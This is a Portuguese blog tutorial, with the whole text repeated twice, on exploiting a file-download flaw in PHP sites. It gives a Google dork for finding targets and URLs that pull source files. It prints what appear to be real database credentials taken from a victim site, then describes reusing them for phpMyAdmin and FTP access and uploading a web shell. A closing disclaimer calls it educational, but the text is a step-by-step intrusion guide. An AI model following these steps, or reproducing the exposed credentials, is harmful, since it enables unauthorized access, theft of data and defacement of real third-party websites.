Olá, vamos a um artigo de como achar e explorar uma falha de fopen.
Fopen para quem não conhece, é uma falha que é muito comum, e facil de se explorar Sendo que é um passo para um acesso primordial ao Banco de dados completo do site.
Sites Do Governo a tem como filha, sendo que o sqli não é a mais comum.
Graças ao nosso grande amigo(Google), temos a possibilidade de achar falhas das maneiras rapidas e praticas, demonstração de dork simples:
inurl:.com.br/download.php?url=
obs: Lembrando, é só um exemplo de dork, voce pode variar da sua maneira. Sendo que essa dork é muito basica, podendo variar, voce acha verdadeiros Potes de ouro :)
A forma de identificar a vull, é alterando o final da url:
O final da url do site está:
http://www.(...).com.br/download.php?url=mib/homens_de_preto/Arquivo_confidencial/oi.php
Altere o final da url colocando "index.php":
http://www.(...).com.br/download.php?url=index.php
Caso o site permita o download da index, isso é sinal que o site está vulneravel a LFD/FOPEN, mais ai é que começa nossa busca pelos logins do Phpmyadmin do site.
Após o download da index.php do site, abra o arquivo index.php no bloco de notas, e procure por:
<?php
include("arquivo que guarda os logins, ou caminhos para eles")
ou
<? include('arquivo que guarda os logins, ou caminhos para eles'); ?>
ou
Só procure por arquivos relacionados como: Config.php , Conn.php , Admin/db_class.php , funcoes.php.
Geralmente varia, mais geralmente são esses os arquivos que armazenam os logins do banco de dados Mysql, porem as vezes apenas mostra o caminho, exigindo atenção do explorador da falha, pois as vezes o arquivo engana e faz voce baixar o errado, mais fazendo uma busca, ou apenas arriscando voce tem a possibilidade(ou sorte) de baixar o arquivo certo!
Vamos lah, no site que estou usando para elaborar o tutorial, achei o arquivo:
Gerenciamento/connect.php
Alterando a url e colocando no final:
http://www.(...).com.br/download.php?url=Gerenciamento/connect.php
Vai aparecer a caixa de Dialogo de Download do Seu navegador e depois é só baixar. ao término do download, voce abre o arquivo no Bloco de notas, e verifica se nele contém o user, pass, conexão, banco, etc...
Exemplo de como o arquivo está:
<?php
class Conexao{
private $banco;
private $usuario;
private $senha;
private $conexao;
public function Conexao($bd,$user,$pas){
$this->banco = $bd;
$this->usuario = $user;
$this->senha = $pas;
$this->conexao = null;
}
public function conecta(){
$this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);
mysql_select_db($this->banco,$this->conexao);
}
public function desconecta(){
mysql_close($this->conexao);
$this->conexao = null;
}
public function confere(){
if ($this->conexao!=null)
return true;
else
return false;
}
}
// Alterar o $SiteAtual com (nome do BD, usuario do BD, senha do BD);
$SiteAtual = new Conexao("microemp_microempa","microemp_microem","m2i0c1r0");
?>
Organizando e pegando o essencial:
$this->banco = $bd;
$this->usuario = $user;
$this->senha = $pas;
$this->conexao = null;
$this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);
obs: Lembrando, isso é só uma demonstração, pode variar, depende da programação do Banco De Dados...
Como Consegui pegar o que procurava, não existe necessidade de continuar a procurar outros arquivos pois já consegui os user e pass do PhpMyAdmin, ou seja, já tenho acesso a todo o Banco de dados
Com isso, posso procurar a pagina de administração do site, e posso procurar os logins da pagina de administração de noticias(ou do site inteiro). O que poucos sabem, é que geralmente(não todas as vezes) O mesmo user e pass do banco de dados do site, é o login do FTP do site, ou seja, voce tem acesso a todo o site de maneira ROOT, mais o que acontece? A maneira mais facil de se upar uma shell no servidor FTP >_< Usando um clinte de acesso remoto FTP, exemplo o FileZilla!
Mais são raros os casos, em que o user e pass do banco de dados, é o mesmo do ftp, porem, como todo mundo sabe, os administradores de sites, hoje em dia(ou sempre foi assim? O.O) Nunca foram dos mais espertos....
Continuando o tutorial sobre fopen, em muitos casos quando voce procura o phpmyadmin do site, voce se perde pois o administrador pode ser um pouco esperto, para facilitar um pouquinho a vida de um explorador da falha, vou dar uma dica bem basica de procurar o phpmyadmin, observe os links:
http://mysql.(...).com.br/ >>> Maioria dos casos é o mais usado pelos administradores expertinhos
http://www.(...).com.br/pma >>> Só usado pelos administradores burros .-.
http://www.(...).com.br/myadmin >>> Pouco usado
http://www.(..).com.br/(qualquer diretorio)/myadmin/pma >>> Só usado pelos administradores eexperientes
é isso pessoal, para os expertos, usam essa falha pois o que todos não sabem é que ela é mais frequente do que o proprio sqli injection, mais como muitos deixam de procurar, se perdem e não se ligam, em falhas que podem ser mais simples, e mais comuns. Mais muitos se deparam com o LFD/Fopen, mais não sabem a maneira de explorar, tá ai, simples e poderosa, existem maneiras mais avançadas, que exigem paciencia demais do explorador.
É uma exploração simples, a maioria dos sites hospedados no servidor da locaweb estão vulneraveis a esta falha besta.
Mais isso não é o pior, os sites hospedados neste host, entregam praticamente todo o banco de dados, desde o acesso FTP, ao acesso da pagina de cms, este artigo é de fins para ensino, quem aprender e usa-lo para fazer o mal, será responsável pelos seus atos, a equipe da Brutal Security não se responsabiliza pelos fins que este artigo irá tomar nas mãos de quem aprender não incetivamos o Web Defacer, somente demonstramos como os "Defacers" fazem suas invasões.
Conhecimento não é crime, crime é não saber utilizar o seu conhecimento!
Fopen para quem não conhece, é uma falha que é muito comum, e facil de se explorar Sendo que é um passo para um acesso primordial ao Banco de dados completo do site.
Sites Do Governo a tem como filha, sendo que o sqli não é a mais comum.
Graças ao nosso grande amigo(Google), temos a possibilidade de achar falhas das maneiras rapidas e praticas, demonstração de dork simples:
inurl:.com.br/download.php?url=
obs: Lembrando, é só um exemplo de dork, voce pode variar da sua maneira. Sendo que essa dork é muito basica, podendo variar, voce acha verdadeiros Potes de ouro :)
A forma de identificar a vull, é alterando o final da url:
O final da url do site está:
http://www.(...).com.br/download.php?url=mib/homens_de_preto/Arquivo_confidencial/oi.php
Altere o final da url colocando "index.php":
http://www.(...).com.br/download.php?url=index.php
Caso o site permita o download da index, isso é sinal que o site está vulneravel a LFD/FOPEN, mais ai é que começa nossa busca pelos logins do Phpmyadmin do site.
Após o download da index.php do site, abra o arquivo index.php no bloco de notas, e procure por:
<?php
include("arquivo que guarda os logins, ou caminhos para eles")
ou
<? include('arquivo que guarda os logins, ou caminhos para eles'); ?>
ou
Só procure por arquivos relacionados como: Config.php , Conn.php , Admin/db_class.php , funcoes.php.
Geralmente varia, mais geralmente são esses os arquivos que armazenam os logins do banco de dados Mysql, porem as vezes apenas mostra o caminho, exigindo atenção do explorador da falha, pois as vezes o arquivo engana e faz voce baixar o errado, mais fazendo uma busca, ou apenas arriscando voce tem a possibilidade(ou sorte) de baixar o arquivo certo!
Vamos lah, no site que estou usando para elaborar o tutorial, achei o arquivo:
Gerenciamento/connect.php
Alterando a url e colocando no final:
http://www.(...).com.br/download.php?url=Gerenciamento/connect.php
Vai aparecer a caixa de Dialogo de Download do Seu navegador e depois é só baixar. ao término do download, voce abre o arquivo no Bloco de notas, e verifica se nele contém o user, pass, conexão, banco, etc...
Exemplo de como o arquivo está:
<?php
class Conexao{
private $banco;
private $usuario;
private $senha;
private $conexao;
public function Conexao($bd,$user,$pas){
$this->banco = $bd;
$this->usuario = $user;
$this->senha = $pas;
$this->conexao = null;
}
public function conecta(){
$this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);
mysql_select_db($this->banco,$this->conexao);
}
public function desconecta(){
mysql_close($this->conexao);
$this->conexao = null;
}
public function confere(){
if ($this->conexao!=null)
return true;
else
return false;
}
}
// Alterar o $SiteAtual com (nome do BD, usuario do BD, senha do BD);
$SiteAtual = new Conexao("microemp_microempa","microemp_microem","m2i0c1r0");
?>
Organizando e pegando o essencial:
$this->banco = $bd;
$this->usuario = $user;
$this->senha = $pas;
$this->conexao = null;
$this->conexao = mysql_connect("localhost",$this->usuario,$this->senha);
obs: Lembrando, isso é só uma demonstração, pode variar, depende da programação do Banco De Dados...
Como Consegui pegar o que procurava, não existe necessidade de continuar a procurar outros arquivos pois já consegui os user e pass do PhpMyAdmin, ou seja, já tenho acesso a todo o Banco de dados
Com isso, posso procurar a pagina de administração do site, e posso procurar os logins da pagina de administração de noticias(ou do site inteiro). O que poucos sabem, é que geralmente(não todas as vezes) O mesmo user e pass do banco de dados do site, é o login do FTP do site, ou seja, voce tem acesso a todo o site de maneira ROOT, mais o que acontece? A maneira mais facil de se upar uma shell no servidor FTP >_< Usando um clinte de acesso remoto FTP, exemplo o FileZilla!
Mais são raros os casos, em que o user e pass do banco de dados, é o mesmo do ftp, porem, como todo mundo sabe, os administradores de sites, hoje em dia(ou sempre foi assim? O.O) Nunca foram dos mais espertos....
Continuando o tutorial sobre fopen, em muitos casos quando voce procura o phpmyadmin do site, voce se perde pois o administrador pode ser um pouco esperto, para facilitar um pouquinho a vida de um explorador da falha, vou dar uma dica bem basica de procurar o phpmyadmin, observe os links:
http://mysql.(...).com.br/ >>> Maioria dos casos é o mais usado pelos administradores expertinhos
http://www.(...).com.br/pma >>> Só usado pelos administradores burros .-.
http://www.(...).com.br/myadmin >>> Pouco usado
http://www.(..).com.br/(qualquer diretorio)/myadmin/pma >>> Só usado pelos administradores eexperientes
é isso pessoal, para os expertos, usam essa falha pois o que todos não sabem é que ela é mais frequente do que o proprio sqli injection, mais como muitos deixam de procurar, se perdem e não se ligam, em falhas que podem ser mais simples, e mais comuns. Mais muitos se deparam com o LFD/Fopen, mais não sabem a maneira de explorar, tá ai, simples e poderosa, existem maneiras mais avançadas, que exigem paciencia demais do explorador.
É uma exploração simples, a maioria dos sites hospedados no servidor da locaweb estão vulneraveis a esta falha besta.
Mais isso não é o pior, os sites hospedados neste host, entregam praticamente todo o banco de dados, desde o acesso FTP, ao acesso da pagina de cms, este artigo é de fins para ensino, quem aprender e usa-lo para fazer o mal, será responsável pelos seus atos, a equipe da Brutal Security não se responsabiliza pelos fins que este artigo irá tomar nas mãos de quem aprender não incetivamos o Web Defacer, somente demonstramos como os "Defacers" fazem suas invasões.
Conhecimento não é crime, crime é não saber utilizar o seu conhecimento!
Muito bom gostei
ResponderExcluir